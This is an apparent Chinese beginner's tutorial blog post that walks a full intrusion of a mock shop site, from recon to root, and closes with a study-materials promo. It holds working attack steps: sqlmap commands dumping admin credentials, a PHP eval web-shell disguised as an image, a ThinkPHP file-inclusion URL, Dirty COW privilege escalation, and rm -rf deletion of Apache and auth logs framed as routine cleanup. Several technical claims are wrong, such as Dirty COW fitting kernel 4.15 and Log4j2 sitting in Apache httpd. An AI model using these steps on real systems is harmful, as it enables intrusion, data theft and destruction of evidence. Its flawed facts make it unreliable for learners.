网站渗透测试实战:从信息收集到 getshell 的完整流程
网站渗透测试实战:从信息收集到 getshell 的完整流程

引言
很多转行同学学了零散的工具和漏洞,却不知道 “完整的网站渗透测试该怎么做”—— 从拿到目标网站到最终 getshell,需要一套标准化流程:信息收集→漏洞扫描→漏洞利用→权限提升→getshell→报告编写。本文以 “模拟电商网站(test-shop.com)” 为例,讲解完整渗透流程,每个环节都给具体步骤和工具使用方法,零基础跟着做就能完成一次完整的网站渗透,还能积累项目经验写进简历。
一、实战流程总览(6 个阶段,总耗时:1 天)
| 阶段 | 核心目标 | 常用工具 | 耗时 |
|---|---|---|---|
| 1. 信息收集 | 摸清目标情况(IP、子域名、端口、技术栈) | Nmap、Whois、Wappalyzer | 2 小时 |
| 2. 漏洞扫描 | 自动化发现漏洞(SQL 注入、XSS、文件上传) | Burp Suite、Nessus、Sqlmap | 3 小时 |
| 3. 漏洞利用 | 手动验证漏洞,获取初步权限 | Burp Suite、Sqlmap、中国蚁剑 | 3 小时 |
| 4. 权限提升 | 从 Web 权限提升到服务器系统权限 | Meterpreter、mimikatz | 2 小时 |
| 5. 痕迹清理与报告 | 清除测试痕迹,编写渗透报告 | 手动清理、报告模板 | 2 小时 |
二、阶段 1:信息收集(渗透测试的 “侦察兵”)
信息收集的质量决定渗透成败 —— 收集越全面,漏洞发现概率越高。
1. 基础信息收集(IP、域名、WHOIS)
- 获取目标 IP:
-
命令:ping test-shop.com(Windows)或ping -c 4 test-shop.com(Kali),得到 IP:192.168.1.106;
-
进阶:用nslookup test-shop.com查看 DNS 解析记录,确认是否有多个 IP(如负载均衡场景),示例输出:
Name: test-shop.com
Address: 192.168.1.106
Name: test-shop.com
Address: 192.168.1.107 # 多IP负载均衡,需同时测试
- WHOIS 域名信息:
-
命令:whois test-shop.com(Kali)或用在线 WHOIS 工具(如https://whois.domaintools.com/);
-
重点关注:注册人邮箱(判断是否为目标企业)、DNS 服务器(如ns1.aliyun.com,后续可测试 DNS 漏洞)、注册时间(老域名可能存在历史漏洞)。
2. 子域名收集(扩大测试范围)
目标网站可能存在未公开的子域名(如admin.test-shop.com、api.test-shop.com),子域名常存在更多漏洞:
- 工具:OneForAll(开源子域名收集工具):
-
安装:pip install oneforall;
-
执行:oneforall -d test-shop.com -o ./subdomains,生成subdomains.csv文件;
- 筛选有效子域名:
-
用ping或httpx工具验证子域名是否可访问:httpx -l subdomains.csv -o alive_subdomains.txt;
-
发现有效子域名:admin.test-shop.com(管理后台)、upload.test-shop.com(文件上传接口),后续重点测试。
3. 端口与服务扫描(用 Nmap)
- 全端口扫描:nmap -p 1-65535 -sV -O 192.168.1.106 -oN nmap_full.txt;
-
关键结果:
-
80/443 端口:开放 Apache 2.4.49(Web 服务);
-
22 端口:开放 OpenSSH 7.9(Linux 服务器,可测试弱密码);
-
3306 端口:开放 MySQL 5.7(数据库,需测试未授权访问或弱密码);
- 漏洞端口关注:若开放 8080(Tomcat)、21(FTP),需重点测试(如 Tomcat 弱密码、FTP 匿名登录)。
4. 技术栈与敏感目录探测
- 技术栈识别:
-
工具:Wappalyzer(Chrome 插件)或whatweb(Kali 命令:whatweb test-shop.com);
-
结果:Apache 2.4.49、PHP 7.3、MySQL 5.7、ThinkPHP 5.1(PHP 框架,存在历史漏洞);
- 敏感目录探测:
-
工具:Dirsearch(目录扫描工具);
-
执行:dirsearch -u http://test-shop.com -w /usr/share/wordlists/dirb/common.txt -e php,txt;
-
发现敏感目录:
-
/admin/login.php(管理后台登录页);
-
/upload/(文件上传目录,可测试文件遍历);
-
/thinkphp/(ThinkPHP 框架目录,存在/thinkphp/router.php漏洞接口)。
三、阶段 2:漏洞扫描(自动化发现漏洞)
1. Web 漏洞扫描(用 Burp Suite Active Scan)
- 配置扫描范围:
-
打开 Burp,进入 “Target”→“Scope”,添加test-shop.com及子域名到扫描范围;
-
进入 “Scanner”→“New scan”,选择 “Active scan”,添加目标 URL(http://test-shop.com);
-
启动扫描:点击 “Start scan”,等待扫描完成(约 30 分钟);
-
关键漏洞结果:
-
SQL 注入:http://test-shop.com/goods.php?id=1(参数id存在注入);
-
XSS:http://test-shop.com/search.php?keyword=test(参数keyword存在反射型 XSS);
-
文件上传漏洞:http://upload.test-shop.com/upload.php(未校验文件类型)。
2. 系统漏洞扫描(用 Nessus)
-
新建扫描任务:选择 “Basic Network Scan”,输入目标 IP 192.168.1.106;
-
扫描结果:
-
高危:Apache Log4j2 远程代码执行漏洞(CVE-2021-44228);
-
中危:SSH 弱加密套件(使用 3des-ede-cbc);
-
低危:MySQL 版本信息泄露。
四、阶段 3:漏洞利用(获取初步权限)
1. SQL 注入利用(用 Sqlmap 获取数据库权限)
- 自动化注入:
sqlmap -u "http://test-shop.com/goods.php?id=1" --cookie="PHPSESSID=abc123" --dbs
- 结果:获取数据库test_shop_db,包含users(用户表)、orders(订单表);
- 导出管理员账号密码:
sqlmap -u "http://test-shop.com/goods.php?id=1" --cookie="PHPSESSID=abc123" -D test_shop_db -T users -C username,password --dump
- 结果:admin:5f4dcc3b5aa765d61d8327deb882cf99(密码哈希解密为admin123);
- 登录管理后台:访问http://admin.test-shop.com/login.php,用admin/admin123登录成功,获取 Web 后台权限。
2. 文件上传漏洞利用(getshell)
- 准备图片马:新建shell.png,开头添加GIF89a,内容:
GIF89a<?php @eval($_POST['cmd']);?>
-
上传文件:在http://upload.test-shop.com/upload.php上传shell.png,页面返回路径:http://upload.test-shop.com/20251127/shell.png;
-
利用文件包含漏洞:发现 ThinkPHP 框架存在文件包含漏洞,访问:
http://test-shop.com/thinkphp/router.php?s=index/\think\Template::fetch&template=file:///var/www/html/upload/20251127/shell.png
- 蚁剑连接:添加连接,URL 填上述包含漏洞 URL,密码cmd,连接成功,获取 Web 权限(www-data 用户)。
五、阶段 4:权限提升(从 Web 权限到系统权限)
1. 信息收集(判断服务器类型与漏洞)
- 查看系统信息:在蚁剑终端执行:
uname -a # 显示Linux test-shop 4.15.0-142-generic #146-Ubuntu SMP Tue Apr 13 01:11:19 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
- 结果:Ubuntu 18.04,64 位,内核版本 4.15.0-142(存在内核漏洞提权可能);
- 查看用户权限:id→uid=33(www-data) gid=33(www-data) groups=33(www-data)(低权限用户)。
2. 内核漏洞提权(用 Dirty COW 漏洞)
-
下载提权 exp:在蚁剑中上传dirtycow.c(Dirty COW 漏洞 exp,适用于内核 < 4.14.117);
-
编译并执行:
gcc dirtycow.c -o dirtycow -pthread
./dirtycow # 执行exp,生成root权限的shell
- 获取 root 权限:执行./firefart(exp 生成的 root shell),id显示uid=0(root) gid=0(root),提权成功。
六、阶段 5:痕迹清理与渗透报告
1. 痕迹清理(合法测试必备)
- 删除日志:
rm -rf /var/log/apache2/access.log # 删除Apache访问日志
rm -rf /var/log/auth.log # 删除SSH登录日志
-
删除后门文件:删除上传的shell.png和提权 exp;
-
恢复权限:将/etc/passwd等被修改的文件恢复为原始状态。
2. 编写渗透报告(转行简历核心素材)
报告结构:
- 项目概述:
-
测试目标:test-shop.com及子域名(IP:192.168.1.106/107);
-
测试范围:Web 应用、服务器系统、数据库;
-
测试时间:2025-11-27。
- 漏洞汇总(按风险等级排序):
| 漏洞名称 | 风险等级 | 位置 | 利用方法 | 修复建议 |
|---|---|---|---|---|
| SQL 注入 | 高危 | /goods.php?id=1 | Sqlmap 导出用户数据 | 使用预编译语句,过滤特殊字符 |
| 文件上传 + 文件包含 | 高危 | /upload.php + /thinkphp/router.php | 上传图片马,包含执行 | 校验文件内容,禁用文件包含 |
| Apache Log4j2 漏洞 | 高危 | 服务器 Apache 组件 | 构造 ${jndi:ldap://…} 触发 | 升级 Log4j2 到 2.17.0+ |
| SSH 弱加密套件 | 中危 | 22 端口 | 抓取流量破解加密 | 禁用 3des-ede-cbc,使用 aes256-ctr |
- 测试结论:目标网站存在 3 个高危漏洞,攻击者可通过 SQL 注入获取管理员账号、文件上传 getshell 并提权至 root,建议优先修复高危漏洞。
简历写法:
“独立完成模拟电商网站(test-shop.com)全流程渗透测试,通过 OneForAll 收集子域名、Nmap 扫描端口,用 Burp 发现 SQL 注入与文件上传漏洞,Sqlmap 导出管理员数据,上传图片马结合文件包含 getshell,利用 Dirty COW 内核漏洞提权至 root,编写包含 5 个漏洞的渗透报告,提出可落地的修复建议”。
七、总结
完整的网站渗透测试核心是 “流程化 + 工具结合”—— 信息收集扩大范围,漏洞扫描自动化发现,漏洞利用获取权限,提权完成控制,最后清理痕迹并交付报告。新手需多练 “工具命令 + 漏洞利用逻辑”,而非死记步骤,比如从 “文件上传漏洞” 延伸到 “图片马制作 + 文件包含触发” 的组合利用。评论区说说你在渗透中遇到的卡壳点,帮你分析解决!
网络安全学习资料分享
为了帮助大家更好的学习网络安全,我把我从一线互联网大厂薅来的网络安全教程及资料分享给大家,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,朋友们如果有需要这套网络安全教程+进阶学习资源包,可以扫码下方二维码限时免费领取(如遇扫码问题,可以在评论区留言领取哦)~


更多推荐



所有评论(0)